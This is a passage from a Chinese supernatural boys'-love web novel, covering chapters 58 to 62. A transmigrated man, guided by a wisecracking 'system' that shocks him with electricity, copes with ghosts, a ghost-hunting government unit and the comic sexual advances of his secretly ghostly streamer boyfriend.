他一扭头镜子里的人就再次调转视线看向姚粱,说不清是嘲笑还是轻蔑的扯起一个笑,他后背寒毛竖起,真的一句话都说不出来了,他想叫996,嘴却没法动,只好在心里疯狂的叫996的编号。 但是没有任何回应。 姚粱几乎眼前一黑又一黑,一直定在原地的身体晃了晃终于能从心的动了,稍微一动手就把手里拿着的灯朝镜子扔去。 坚硬的物体碰到镜子发出一声碎裂的声音,刘广白像是又被吓了一跳,“你干嘛啊。”他立马回头检查镜子发现裂开了一条很长的缝,“镜子都裂了。” “不是……”姚粱艰涩的开口,“我刚才看见镜子里面的那个你在看我。” …… 一系列事情几乎是在短短几个小时内砸在姚粱身上的,他现在跟996咬死不肯完成这个任务要立马回自己的世界去死,996虽然不能终止任务但是可以通过直接提交来用另一种方式终止,但它也不肯就这么轻易放过这个本该特别简单的任务,也实在不明白这个宿主怎么就这么倒霉。 因为从某种程度上来说,既然宿主要完成的这段剧情是原世界主线的开始背景,那么在主线开始前普通人不该如此频繁的遇到各种情况,更何况按照原剧情来看就算是后期也没有多少人能这么频繁遇到,主角团一切活动和所在组织在一定意义上仍旧是保密组织。 鬼神之说几乎穿插在了几千年中,从某种角度来讲大部分人其实对这种事情还是有一定敬畏之心。 姚粱现在咬死不做任务,也不管什么人设其他的了,打定主意逼996赶紧放他回去让他死,总比在这里被吓成心脏病或者被吓成疯子进了精神病院来的好。 刘广白妆都没卸只摘了假发和发网,头发被发网束缚后到处乱翘,就顶着这么个脑袋抱着自己怀里那颗毛茸茸睡觉,趁机在姚粱脑袋上亲了几下,抱着的人一点抗拒反应都没有,他微笑了下,“你真的好香呀,你比以前香好多知不知道?” 姚粱随便嗯了几声。 刘广白伸手摸摸姚粱的耳朵,上嘴咬咬,明显感觉到怀里那颗脑袋烫起来,“给我摸摸腹肌。” 姚粱一把攥住那只很瘦的手腕不让他继续动,“摸什么摸。” “好吧好吧。”午夜凶零居然出乎意料的没有坚持随即放开姚粱,“那我去卸妆护肤了,你先自己睡。” 姚粱喃喃道:“……我自己睡——在这里?” “嗯嗯。”刘广白理所当然的嗯了几声,“你先睡吧,我护肤起码两小时起。” 姚粱:“……” 姚粱闭了闭眼,他这辈子总觉得自己过的很苦,现在也同样这么觉得。 “你摸吧。” 刘广白突然笑了下,脸上有点羞涩的意思,手上的动作却毫不马虎,“真的吗?真的可以吗?”他边问边把姚粱的腹肌来回摸了个遍,甚至还有往下摸的意思,“你的青筋好性感呀。” “别摸了……”姚粱有气无力抓住他的手,“就摸到这儿就行了。” “嗯嗯。”刘广白再次答应两声,万分小鸟依人往姚粱怀里一靠,手继续在他腹肌上摸来摸去。 被摸了太久姚粱都有点麻木了,甚至昏昏欲睡起来,于是丝毫没有注意到怀里刘广白不怀好意的笑。 他是被突然摸醒的,安安分分待在腹肌上的手猝不及防来了个突然袭击,刘广白毫不留情也毫不羞涩的猛抓了好几把。 姚粱:“!!!” 他现在比见了鬼还惊悚,立马抓住刘广白手腕,“松手!” 刘广白抓住威胁的又攥了攥,“不松。” 姚粱额头青筋直跳,先是痛,痛完了又有了点感觉,顿时更加惊恐了,他要是真在刘广白手里起来了以后真的就不用睡觉了,干脆睁开两只眼睛轮番站岗算了,他咬着牙声音几乎是从喉咙里挤出来的,“你松手,不然就分手。” 这话虽然经常用,但胜在有效,听了这话刘广白居然还真打算放开了,只是姚粱这口气还没顺下来,刘广白就以迅雷不及掩耳之势再次抓了几把,颇为依依不舍,“我再摸几下。” 姚粱眼前一黑差点晕倒——完了,真完了…… 下一秒,本来只打算摸几把就放开的刘广白眼睛都亮了起来,像是黑夜里找到猎物的狼。 “你行啊?” 第59章 第五十九章 电我! “电我!快点电我!!!!” 姚粱几乎是声嘶力竭的跟996吼, 用尽全身力气才去控制着没狼狈的跑,996一时半会儿没有回音,姚粱都开始骂它该出来的时候不出来不该出来的时候瞎出来时, 一股电流从骨头缝里传来一直蔓延到皮肉头发丝。 姚粱顿时六根清净躺平了。 刘广白:“……” 他不死心的扒拉来扒拉去,刚刚逃脱魔掌的姚粱也没心思挣扎了,躺平随便他检查。 他看来看去特别疑惑, “……还真不行啊,就那么一会儿。” “是。”姚粱毫不犹豫的承认了, “我是软脚虾,我不行。” 这种电流的后劲太强, 姚粱现在手指都是发麻的, 脑子还在嗡嗡的响, 他现在已经不害怕鬼了, 觉得要是跟刘广白待在一起还不如跟鬼待在一起, 有气无力开口, “你去卸妆吧,我自己静静。” 刘广白一时半会儿没动, 站在那一会儿似乎很真情实意的开解,“别伤心, 我会继续帮你的。” 姚粱:“……” 大可不必。 姚粱稍微偏了下脸露出了痛苦面具。 刘广白前脚一走后脚那个灯泡在出现在了姚粱面前,996颇为自得, 【如何呢?】 姚粱面无表情干巴巴的,“挺好的。” 【我这就是及时雨, 如何呢,继续做任务吧。】 姚粱不知道该说什么,一方面还是怕鬼,一方面也怕刘广白。 他不是软饭硬吃的养胃男吗?!! 怪鬼, 也怪猛虎扑食的刘广白,搞的他现在在他面前都弱弱的底气不足。 姚粱:“……” 他又闭上眼有点想死了。 996顿时颇为激动站在道德制高点指责他,【你都说不做任务了,我还不计前嫌的帮你,结果你就这么对我?你良心过的去吗你!】 “……做做做。” 996高兴了,顿时眉开眼笑,【不过宿主你还好吗,那个电流是来惩罚宿主的。】 “还好。”姚粱现在没有任何心情说话,特别勉强的开口,“我有耐电性。” 996顿时骇然,【我可从来没有电过你,你不要污蔑我啊。】 “我说你电我了吗?”姚粱很无语,身上的力气也都回来了,“我小时候觉得好玩老把手指头插进插板里行了吧。” 【你能活到现在真了不起。】996真心实意的赞叹。 傻的。 姚粱在心里给996竖了个中指,说什么信什么。 * 刘广白的拍摄进度实在不快,说是去外地拍摄其实很少拍摄当地景象,充其量晚上会去一些地标建筑拍一下,大部分是提前预约当地那种室内搭好的场景来拍摄。 刘广白特别珍惜他那身皮肉,生怕晒黑,每天全副武装,等差不多全部结束这才准备开始停播多日的第一场。 “哈喽哈喽宝宝们,今天不卖货,最近在外地出差,好长时间没播,先播一场跟大家聊聊天。”他坐在镜头前,身后背景是墙,拿起自己点的外卖盒给大家看,“今天吃蒸饺,这个是虾仁馅的,出差第一次吃,我尝尝好不好吃。” [素颜已如此权威。] [呜呜宝宝。] [妈呀宝宝你在A市吗,我刷到网上有人偶遇你了,呜呜呜,为什么喜欢的网红来自己的城市我非要在家带着……宝宝你还在这里待几天呀?] [好吃吗好吃吗好吃吗,好吃我也买,哪家店呀。] “嗯宝宝明天就要走了。”刘广白把咬了一半的大蒸饺比在镜头前,“里面是一个大虾仁,我觉得挺鲜的,还挺合我口味,等一下我找一下是哪家店。” 他说完放下外卖盒伸长胳膊去探放在一边的手机,安安静静躺在一边的姚粱默不作声帮忙递了一下。 “是这家。”刘广白把手机对准摄像头给大家看。 [宝宝最近很火的那个变装想看你拍。] [镜中人吗?] [啊啊啊啊啊啊!!宝宝一定要拍啊,宝宝特别特别适合鬼塑。] 刘广白笑了下点点头表示自己会拍。 直播间里氛围不错,又大部分是女孩子,说起话来都很轻快,弹幕上清一色的哈哈哈。 刘广白吃完饭也配合着说些俏皮话。 [诶,主播是哪里人啊?刚才话里好像有个方言跟我们那里很像。] [我听着也有点像,XX?] “对,我是那边的。”刘广白稍微笑了下,“不过十几岁就出来不在那里了。” [哇哇哇——主包姓刘我也姓刘,没准在宗族聚会上还能见到面呢,主包什么时候回老家啊哈哈哈哈哈。] “我可能不会回去了。”刘广白说,“家里人都不在了,那里就剩个老屋,回去也没有必要。” 刘广白似乎情绪有点低落,弹幕上安静了几秒很快又滚动起了各种安慰的话,对这个话题很快心照不宣的就揭过去了。 今天他只播了将近两个小时就跟粉丝告别下播,终于等到他下播姚粱才去了趟卫生间,冲水马桶的声音很大,在外面都听的清清楚楚。 两人买的是第二天上午九点的飞机,但酒店距离有点远还是得六点就起,姚粱早早躺下就睡,刘广白居然也没整什么幺蛾子安安分分躺了下来,他连着作了好几天妖骤然安分下来搞的姚粱还有点不习惯。 姚粱安顿996,“明天早上起来再给我电一电。” 他安顿完想了想破天荒的主动跟刘广白闲聊,“今天直播怎么样?” “挺好的。”刘广白缩在被子里简单回复。 姚粱不知道下面该说什么了,直接来句节哀,“……节哀。” “节什么哀?”刘广白反应了几秒突然一笑,“我说你怎么突然跟我说话,原来是想问这个啊。” 姚粱:“……” “我爸妈没死。”刘广白幽幽开口,云淡风轻的说出最炸裂的话,“我故意咒他们呢。” 姚粱:“???” 面对着目瞪口呆的姚粱刘广白凑上来跟他笑,亲热的依偎在他怀里,“怎么了——我咒他们都咒少了,你知不知道我是老七?” …… “我有六个姐姐,招娣盼娣念娣来娣想娣有娣,我是耀祖。”刘广白很轻的笑了下抱住他的胳膊,“我还有个恶毒老太奶奶,还有个一家之主爷爷。” 姚粱觉得说什么都不对,他之前只从网上刷到过这一堆娣还有什么传宗耀祖的,没想到耀祖居然就在自己身边。 “我几个姐姐都被他们嫁出去了,然后告诉他们以后要帮弟弟。”刘广白云淡风轻又扔了一个炸弹,“我天生喜欢男的,差点被他们打死,然后我就跑了没再回去了。” 姚粱极度震撼。 传宗接代思想下造就的老七,享受全家福利的老幺成了率先第一个反抗的,家里费尽千辛万苦生下的耀祖就这么跑了。 姚粱:“……” 姚粱给他竖了个大拇指。 刘广白抱着他的胳膊晃了晃,“你说我把你带回去他们会不会气死啊?” “会。”姚粱肯定的说,穷山恶水出刁民这句话不是没有道理的,更何况那种地方宗族关系特别密切,他们家肯定咬死不认刘广白天生喜欢男的,说不准还要一村人都出来逮他这个所谓带歪传宗接代的耀祖的男的,抓起来捆着打呢,“我估计我还会被打死。” 他好像是在开玩笑,“那我雇点保镖,咱们回去气一气他们行不行。” “行行行。”姚粱估计他也就是开玩笑,要论谁第一个不想回去想必这个跑出来的耀祖敢称第二没人敢称第一,跑都来不及谁还想回去。 …… 姚粱不喜欢睡软枕头软床,一晚上都睡睡醒醒没睡太熟,凌晨四点醒了一次赶紧闭眼继续睡,好不容易睡熟了被一股突如其来的电给电醒了。 这电大到他怀疑是这间房漏电马上要给他电成一具焦黑的尸体一样,猛地坐起来顿时清醒了彻底,只是坐起来后他就没法动了,从头到脚没有一个地方不麻,呆呆坐在床上反应了半天才反应过来是996电他。 姚粱:“……” “你要死啊……”姚粱现在怨气比鬼还重,“我睡着你电我干什么?” 996很无辜,【你不是说起来就电吗,我可是放弃娱乐时间一直盯着,你以为看着马赛克分辨到底起没起来很好分辨吗?】 姚粱:“……” 姚粱真的气笑了,有些事情真的离谱的像是编的,说出来都觉得很傻逼,“我是说我起来要是来不及等下去你再电,不是说它起来你就电……” 【……】996似乎有点心虚,仔细想想为自己分辨,【你没说清楚啊。】 “算了。”姚粱颇感无力,托着脑袋只顾着头疼了,“我跟你一个没有**的系统说不清楚。” 996:【???我是赛博生物,要多大有多大!】 姚粱:“嗯嗯嗯,是是是,你大,你最大。” 他无语了半天,跟这个没有**的赛博生物辩论了半天,又捂着脑袋头疼了半天,约莫时间差不多了伸手就朝旁边拍了拍,“醒……人呢?” 身边本来应该睡着刘广白的地方空空如也,甚至两个人的东西全不在了,能联系外界的手机也没有了。 姚粱抱着脑袋发出一声绝望的声音,实在不明白自己睡了一觉这是又跑哪去了。 他正绝望,门发出被房卡解锁的声音,一个配枪穿着马甲的年轻男人刚探了个头进来就跟姚粱对上视线。 两人面面相窥了足足有一分钟。 姚粱:“你谁啊?” 第60章 第六十章 我能感觉到你身体里有种雷电…… 眼前的特制战术眼镜右上角标上了所有游魂所在的地方, 密密麻麻的红点布满了整个酒店,廖寂青把3D调整成他所负责的四楼B区才看的更加清楚一点,楼层高的几个队友都是从电梯上来, 根据东西不同分在每一层的人也不同,四楼分了三个人,他负责后面的几个地方。 三个人一上四楼就率先拿出道具将四楼创出一个全新的与普通人居住分割的空间, 这是普通类型任务最常使用的办法,这种任务既没有严重到需要遣散人群, 在不影响民众的前提下将所有鬼魂一起拉出一个全新的空间以供围剿是一个最好的选择。 这个任务并不严重,但因为太多还是在酒店, 容易影响人们的睡眠质量和轻微的健康, 也容易让一些人碰到一些非自然事件, 所以还是挑选在这个时候来一次大规模清洗。 廖寂青先把走廊上游荡的鬼魂速刷, 又用通用房卡挨个进去检查, 每一层某个区域被清理干净都会在眼镜上显示, 现在已经有好几层被清干净,他的速度也明显有点落后, 不过好歹也就剩了最后一个478。 ‘滴——’ 房门被推开,他的枪拿在手里正准备进去开灯, 就跟床上坐着的人对上了视线。 对视那一分钟他想了很多,或者眼前这是个没有标记的大boss, 或许自己今天直接折这儿,但他万万没想到床上人看了他半天居然问出一句, “你谁啊?” 廖寂青:“?” “你又是谁啊?” …… 姚粱本来还挺绝望,感觉自己又要见鬼了,可眼前这人的到来明显又告诉他不是那么一回事,那年轻男人看见他的时候也是说不出的懵逼, 好像他本来不应该出现在这儿一样。 “我住478。”姚粱晃了晃手,有种自己现在是闪电侠稍微动一动身上的电就劈里啪啦响的错觉。 “不应该呀。”廖寂青特别懵,但也不算不能理解,从前也有过普通民众误入的例子,想到这儿他简略跟姚粱解释了一句,并不打算多说让他再知道别的,“我们是国家特殊部门,今天来执行任务,这里是478另一个空间,等一会儿任务结束后可能需要你签署一个保密协议。” 他说完就调整了下耳麦,“4A3报告总指挥,发现一位误入的普通民众需要签署保密协议。4A3报告总指挥……” 姚粱想了下这是不是主角团所在的部门,可现在也没法跟996求证,就算求证想必996也不清楚,先这么待着看下面怎么办吧。 “麻烦您先到外面走廊,这个房间需要进行一次清洗。”廖寂青十分公事公办的说,看姿态异常冷酷。 姚粱嗯了声掀开被子打算下去,但很快他就发现那个时候觉得自己像闪电侠并不是一种错觉,而是他一动真的在漏电。 姚粱:“……” 这该死的996是不是在借故报复他,不然为什么能把他电成这样。 漏电看起来有点像是平时的静电摩擦,不过看起来更加显眼一些,声音也更可怕点。 姚粱一动就响,他无语的坐在那里不动弹了。 他想抬头解释一句自己现在没法动,让这人先去看别的地方,不成想刚才还一脸公事公办的人现在一脸热切,直接把眼镜摘下来凑近盯着他,发觉姚粱不动了还有点不满意的去扯被子,被子在他身上一摩擦又发出了刚才的动静。 姚粱:“……” 他干什么。 “你能控制电啊?”廖寂青像是见了什么珍稀动物,“我说么,我能感受到你身体里有雷电的气息,你要不要加入我们啊,我们待遇特别优厚,铁饭碗知道吗?一会儿你去签保密协议的时候我跟总指挥说你能控电。” 他彻底陷入了自己的遐想,举着那把枪开始到处瞄准假装按扳机,嘴里还劈里啪啦的配音,“我跟你说,看你这样应该不知道这是什么,天啊,能控电是真牛逼,劈里啪啦到处响到处炸,一死死一片,鬼就跟被烤焦了似的就倒那了。” 姚粱:“……” 很厉害吗,被系统电出来的。 “来,你先下来。”廖寂青二话不说让他离开床的范围,举起那把枪给他看,“这个就是模仿控电的原理做出来的,你看着!” 他说完立马朝着床开枪,一道类似电的东西从枪里被打出来,床立马燃烧起来,廖寂青嘴里发出砰的一声,下一秒,床炸了。 ‘砰——!!!’ 姚粱:“……” 廖寂青似乎完全忘了任务,兀自陷入了兴奋,甚至来拿肩膀撞姚粱,“来,露一手露一手。” 姚粱很想露一手,但他只会漏电。 【露一手露一手!!!】 另一道兴奋的声音在脑海里响起,两个中二之魂聚集在一起莫名开始共鸣,996也不停的催促他继续露一手,【没电不怕,我电电就有了。】 姚粱:“???” 996说干就干,下一秒那道熟悉的电流就再次席卷了全身,实话讲,不算特别疼,可能以前被电多了对这种感觉麻木起来,本来只是漏电的身体随着996加强的电流还真的有种可以控制的感觉。 姚粱试探着让电流往自己手上聚集,还真弄出一个耀眼的小球,看着不太大,姚粱觉得伤害力应该也不太高,随手就往炸掉的床那里一甩手,本来就炸烂的床这下彻底成灰了。 “天啊!”廖寂青也不知道是真惊讶还是单纯的给面子,夸跟不要钱的似的一句一句往出冒,还不停的给他加油鼓劲,“加油加油,再来个大的。” 【加油加油来个大的!】996也陷入了某种莫名的澎湃,【我必让你成为人上人!】 随着996的加油果不其然来的就是它的电。 一人一统都在那里嚎叫着加油,996还生怕电不够,一直电电电。 “停!”姚粱赶紧把手上那个烫手的光球扔出去,廖寂青和996都被他这声停给叫懵的,还没来得及开口眼前的景象被光球一砸居然开始瞬间分崩离析,如果其他地方没有完成任务也在隔绝状态或许不会这么容易就被电给砸开,但四面八方几乎就廖寂青这里还存在一个空间,几乎就是个四面漏风状态,居然就这么轻易的被砸开了。 廖寂青懵了。 姚粱也懵了。 996也懵了。 隔开的空间消散逐渐被真正的478接替,他已经看见了自己和刘广白的一些东西,甚至还看见了躺在床上睡觉的刘广白。 姚粱干巴巴张了张嘴,看看自己仍旧处在四面漏电的情况有点不知道该怎么解释,而廖寂青带着的隔音很好的耳麦里面传来了一声怒吼,足以可见对面的声音到底有多大。 还穿着马甲带着眼镜和耳麦的廖寂青显然是不适合待在这里的,但硬要解释一句在cos也能蒙混过关,但浑身漏电的姚粱就不好解释了。 说时迟那时快,在两个空间交替之际廖寂青直接上手掰开窗户,推着姚粱的肩膀动作很强硬的把姚粱从四楼扔了下去,然后关上窗户自己才跳。 这是四楼啊!!! …… 早上被电醒,被拉近另一个区域,在两个中二选手的呐喊下被电了一次又一次,被迫从四楼被扔下去,签了保密协议又拿到了招揽信,姚粱回去的路上两条腿都是飘的。 【你疼吗宿主?】996很不好意思。 姚粱故意说重了,“疼死了,也吓死了,现在全靠最后一口气撑着走路。” 996飘在他面前戳手指,【但宿主你不觉得刚才扔那个电球的时候特别炫酷吗,你当时简直像天命之子啊,就是那种半路杀出来的普通少年但是个天才,加入即中心。】 “……”姚粱:“你不应该在人渣部门,你应该去帮助宿主成为龙傲天。” 【但是宿主你刚才没有听到吗,他们待遇真的特别好啊。】996说,【你要是不打算回原世界就待在这里取那也是个不错的选择啊。】 “你在的时候不停的让你电我,那你不在的时候我找谁电,找个高压线含嘴里吗?” 【你放心宿主!】996拍胸脯保证,【我回去就给你搞个电的金手指,让你直接称霸!】 “然后改名叫龙傲天或者楚霸天。”姚粱很不走心的讲了个冷笑话。 他不指望996,当然也不指望天天去跟鬼打交道的工作,如果可以他一点都不想跟鬼打任何交道。 自从来了A市他已经不知道遇到了多少事情,甚至有种自己比主角还忙的感觉,现在他就想马不停蹄的回S市,回他的大平层躺着休息一下受伤的心灵。 毕竟被从四楼扔下去的经历想必以后是不会有了。 等站在门口他才发现既没带房卡也没带手机。 姚粱:“……” “996,打开门。” 门滴的一响打开,刘广白不知道什么时候醒了坐在那里抱着被子玩手机,“你干什么去了?” “咱俩要是再不走就得迟了,带着行李箱下去也费事。” 时间已经很赶了,刘广白催促他赶紧收拾东西准备走,姚粱现在实在没气力去路上奔波了,“再续住一天改签吧,我现在不行。” 改签的很突然,但刘广白倒是没提出什么异议,觉得再休息一天也无所谓,他又把昨天就收拾好放在门口的行李箱挪回角落。 这个点不是他平常起床的时间,当然困的要命,把行李箱放好就一脱衣服又回床上去了,姚粱以为刘广白不再问了,也没想好怎么搪塞,他身上还有床被炸掉飞溅出的木屑,拍了拍衣服准备再去洗个澡,躺在床上的刘广白撑起身体冷不丁的开口: “我好像看见你被一个男的从窗户扔下去了。”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 60-70 第61章 第六十一章 你为什么舔我? 姚粱立马装傻否认, “什么被扔下去,你做梦了?” “我看错了?”刘广白有点疑惑,狐疑的看他一眼, “你为什么出去一趟回来要洗澡?” “你是不是背着我找野男人了?” 姚粱震惊,“……我?” “那你为什么回来就洗澡,肯定一身骚味。”刘广白撇着嘴威胁, “你再这样我不给你钱了。” 姚粱:“……?” “那分手。” 姚粱使出杀手锏,刘广白果然又瞪着眼睛不说话了, 他立马拍拍身上沾的木屑去浴室洗澡。 他身上这件衣服也不能穿了,姚粱脱下直接扔在洗衣机里洗, 刚脱了衣服就起了一身鸡皮疙瘩, 浴室窗户开着, 明明夏天不知道哪来的冷风, 他调了半天温度也没调到一个正正好的, 要么冷要么热, 干脆就用热水洗。 浴室四面都是磨砂玻璃,只能挡住中间的部分, 其余是正常的玻璃,放了热水没一会儿就全是水蒸气, 姚粱都快闷死了,只好从花洒底下出来稍微把门拉开一个缝让冷气进来一点散散热。 姚粱刚回花洒底下不经意间一扭头就看见外面有一道黑黢黢的影子, 顿时心里又打起了鼓,感觉是刘广白, 但万一不是刘广白而是鬼呢,“……刘广白?” “诶!”一道特别荡漾的声音从外面传来,那道黑影随着声音动了,姚粱放下心的同时又疑窦重重, 他站外面干什么,现在又在干什么? 那道声音特别荡漾,身影也一跳一跳的说不出的欢脱,下一秒那颗脑袋就从开着的小缝里挤了进来。 姚粱:“……” 姚粱:“!!!?” “……你进来干什么?” 刘广白还是特别无辜,“不是你叫我的名字吗?” 姚粱整个人已经麻了,刘广白眼睛特别尖,“你起鸡皮疙瘩了,你冷吗?”他说完立马以迅雷不及掩耳之势钻进浴室把门关的死死的,“这样就不冷了。” “……我是叫你名字了,但我没让你进来。” “出去。”姚粱面无表情强撑着镇定。 “你是我男朋友。”刘广白梗着脖子看他,不肯出去还走近了几步。 “你要是不出去马上就不是了。” 刘广白撇着嘴,“你是我男朋友,洗澡我都不能看我要你干嘛。” “那分手。” 刘广白撇撇嘴出去了。 他出去关好门姚粱顿时更心累了,实在记不清自己今天已经说了多少次分手,996又冒出来出馊主意,【宿主,你要不买个防狼喷雾,或者买个电棍放在枕头底下随身带着,他敢碰你你就电他。】 姚粱:“???” “这什么破主意。”姚粱冲掉泡沫去换睡衣,“你以前就这么给你宿主出主意的?” 【我从没见过你这样的贞洁烈男啊。】996说,【我以前的宿主要么风流倜傥,要么能力出众,就算是前两个失败的任务宿主那个嘴就像是长在任务对象身上了,根本不需要担心贞操问题啊。】 姚粱:“……” 姚粱又无语了,并且不打算采纳996的意见,要是真照996说的那么干简直太奇怪了,他一个大男人拿着防狼喷雾和电棍防一个看起来弱不禁风漂亮小0? 他自觉奇怪,等出来发现刘广白用背对着他摆弄手机,背影都透着生气,姚粱本来以为他还要生好一会儿气,甚至不准备跟自己说话,没想到刘广白刚听到他的动静就扭过头看他,“你是我男朋友我为什么不能看你洗澡?你为什么让我出来?” 姚粱被问的脑袋一阵阵发昏立马反问,“我看你了吗你就来看我?” “原来你想看我呀,那咱们可以一起洗呀,我又不介意。”刘广白又坐起来,这个架势大有立马邀请姚粱一起去洗澡的样子。 姚粱:“……我不想看你,我也不想让你看我,我就不行,咱俩老老实实柏拉图,要么就分手。” 他似乎觉得匪夷所思,“……你最近怎么越来越好色。” “我好色怎么了?我好色怎么了!”刘广白理直气壮,“我好你的色不行吗,那我好别人的色?” 他这么说姚粱甚至都开始怀疑自己是不是长得比养胃男更俊俏,或者是戳到了刘广白的审美点,不然为什么养胃男的记忆里从来没有这种被好色的烦恼。 “不行。”姚粱拒绝,“实在不行去学学清心咒念一念。” “真不行?” 姚粱笃定,“真不行。” 刘广白盯了他几秒很轻的哼了一声这次不打算跟姚粱说话了。 …… 没有刘广白叽叽喳喳房间里安静的很,姚粱闷的不行很想去跟他聊几句,但又怕人招起来自己不得安宁,今天他也没有工作安排,姚粱一个吃软饭的当然更没有事情做。 聊天没得聊,手机也不好玩,饭也不想吃,姚粱了无生趣的躺在那里发呆,发呆发着发着居然有点朦胧的睡意,强撑着不睡爬起来把房间的几个强光源全关掉重新躺下,“那几个灯在你那边,睡的时候记得关灯。” 他安顿了一句就躺下重新酝酿睡意,昏黄的灯稍微有点影响睡眠质量,他就用一只手挡住了眼皮稍微往枕头里藏了藏。 他能感觉到身边人身上一直散发着某种护肤品和沐浴露的香味,而这种香味还有越来越浓的架势,靠近自己的地方稍微下陷刘广白好像凑近了自己,姚粱也没管,他每天晚上都要靠近甚至抱着胳膊睡觉,他都已经习惯了,甚至以为今天闹脾气应该会离自己远远的,没想到还是靠过来了。 只是当某个柔软的东西落在脸上的时候姚粱整个人都僵硬起来,眼珠子不受控制颤了颤,但所幸对方也没什么别的动作,只是用嘴唇贴着,只是这样姚粱就不知道该不该醒过来制止。 单论动作没有很过分,还在姚粱接受范围内,更何况今天那时候气氛确实有点僵,以后还要在一个家待很长时间搞这么僵他也不自在,他干脆闭着眼装不知道。 …… 刘广白垂着眼看薄薄眼皮下的毛细血管还有动来动去的眼珠,随即低着头用嘴唇蹭了蹭,又用鼻子闻了闻,他没胡说,姚粱比之前那个香的多,之前那个身体里的魂就是大补,这个更香吃了只会更补。 但谁叫他就是个色鬼,本来想留着吃一吃可持续发展,可是姚粱死活不愿意,其实放在一边闻闻味儿也补,但他实在太香了,之前那个放在旁边闻闻味他能忍住不吃,换了个魂香的他每天饥肠辘辘,饿的他睡不着天天两眼发光,那干脆吃掉好了。 他定定看了一两秒突然张开嘴露出尖锐的牙齿,张嘴咬住姚粱的侧脸轻轻咬过嘴瘾,舌头上有刺刻意舔了几下再尝尝味,刘广白真的要香迷糊了。 …… 姚粱被舔来舔去感觉自己像一盘菜,更橡根雪糕被珍惜的舔来舔去舍不得一口吃掉,他实在忍不住了,不敢想自己的脸变成什么样了,立马睁开眼捂住刘广白的嘴把他推开,甚至都不敢碰自己被舔了半天的脸,“你为什么舔我?!” 刘广白无辜的眨了下眼,“你怎么醒着呀?” “我不醒着被你舔成芒果核吗?” 姚粱实在不明白刘广白到底什么毛病,人不能,至少不应该,舔一嘴沐浴露留在身上脸上的东西很好吃吗,他实在没法忍那湿漉漉的感觉,立马从床头抽了卫生纸用力擦了几个来回,越擦越疼他实在不行了,从床上下去打开卫生间的灯看自己的脸是不是被嘬破皮。 等靠近镜子仔细打量了几下后他才发现自己的脸真破了。 姚粱:“……” 这个伤口特别奇怪,靠近看小小的,甚至有点密集,姚粱怀疑是不是破损处的肉全被吃掉了,又想起网上刷到的会啃人的虫子顿时一阵恶寒,又把脸洗了一遍才出来,“房间里是不是有虫子,我脸都被吃了。” “哦——”刘广白神情泰然自若,“可能是有吧,反正就一晚上了。” 姚粱睡不着了,上网搜被虫子啃完是什么样的,甚至开始怀疑虫子会不会有传染病,自己现在该不该用盐水洗一洗再消消毒。 搜了半天网上已经快把他给说死了,姚粱越看越觉得扯,把手机一扔不看了,伤口不大现在已经不痛了,他忽略掉伤口言归正传,“你舔我干什么,舔我一脸口水。” “你很香。”刘广白说。 “……”姚粱问,“你睡觉前跟我闹脾气结果你趁我睡着舔我?” “我没有跟你闹脾气,况且就算是闹脾气我也把自己哄好了。” 所以你把自己哄好的结果就是哄好自己晚上来舔他的脸??? 姚粱真的受不了,对刘广白舔自己也对被虫子啃了的脸。 他甚至不知道哪个更坏一点,但现在居然有种希望是刘广白啃了他的脸至少比虫子强的想法。 ……一生爱折中的中国人啊。 姚粱有气无力把自己砸在床上,“我受不了这儿了——” “我要回S市。” 第62章 第六十二章 ‘鬼压床’ 再次回到S市姚粱过了一段非常滋润的日子, 家里的钱是刘广白赚的,最近给钱也给的十分大方,他既然决定好继续剧情那么就会继续维持原主干的事情, 总之开始大肆消费,刘广白给钱给的太过痛快,姚粱都找不到机会发作来满足原剧情软饭男经常用分手要挟的剧情, 不过好在其他地方都不错,完成度以一个非常稳定且可喜可贺的进度在增长。 什么撞鬼被电从四楼被扔下去好像都是上个世纪的事情了, 除了偶尔睡不好觉一切都平静的不像话。 他当然乐于平静,就这样下去好好完成任务就是最好的。 现在的作息已经非常稳定, 基本晚上就是玩完回来或者一直在家待着, 然后等刘广白播完再睡觉。 今天回来带了一身烟味, 桌上每个人都一起抽烟几乎把姚粱给熏了个遍, 他一进门就赶紧进浴室洗澡, 来回打了几遍泡沫直到觉得一身烟味都没有才罢休。 他现在也学会耍滑头了, 照原主那个养胃男那个喝法他实在不行,玩是玩, 他不太喝,每次结束也不难受, 回来还挺有精神。 手机放在洗漱台旁边,他看了眼时间, 约莫着刘广白也差不多了,加快了刷牙的速度, 又打开换气把沐浴露味儿排干净。 有了换气装置的声音他安定不少,虽然这段时间已经足够平静,但到底见过多次他很容易疑神疑鬼,尤其是浴室这种高发地。 刘广白结束的比他想的早, 姚粱还没结束他就穿着直播那身很显身材的衣服从背后抱上他,姚粱动作微微一顿没拒绝,只是洗漱的动作更快了。 “你今天不要等我了。” 姚粱弯腰洗脸他只好让开地方站在一边,“我最近没有多么认真护过肤,今天应该会很晚。” 埋在水里的姚粱只是含糊的应了声没怎么看他就出去率先上床睡觉了。 …… 刻意关灯只开了扇窗户的房间异常昏暗,虽然有扇窗户但房间处在阴面光线本来就不够充裕,或者是为了给人造成心理上的压力还用木板钉上只透出一点光线。 房间里的设施堪称简陋,只有一张木板床,上面连被褥都没有,角落里放着一个小铁桶,而正中间摆着一把椅子。 意识朦胧间姚粱觉得有些疼,耳边还隐隐约约传来什么奇怪的声音,他很难睁开眼睛,也没法准确分辨自己身上到底哪里痛,不知道过了多久才被身上的疼痛折腾的清醒了一些。 清醒的后一秒他就再次控制不住的骂了起来,死996不知道在干什么,居然又电他,难道是他在睡梦中又起来了?还是996中二病又犯了想让他跳起来再扔个电球给别人看看。 但很快姚粱就发现了不对劲,身上被电的感觉消失,一直垂着的脑袋被强迫抬起来,甚至伸手不管不顾的扒拉他的眼皮,动作极其粗暴大有不睁开眼睛就扣掉姚粱眼珠子的感觉。 姚粱:“?” 姚粱清楚的知道自己在做梦,眼前的场景诡异的有种熟悉感,似乎从前就发生过的事情在梦里再一次重演来不停的巩固他的记忆。 他没挣扎,任由那只手把自己的脑袋抬起来睁开眼,就被眼前一幕瞬间冲击的说不出话来。 眼前一个滑轮式铁架上有个屏幕,旁边还有音响,上面两个男性正在做不可描述的事情,一直听不到任何声音的耳朵突然恢复了听觉,乱七八糟的声音直往他耳朵里钻。 姚粱的心缓缓沉了下来。 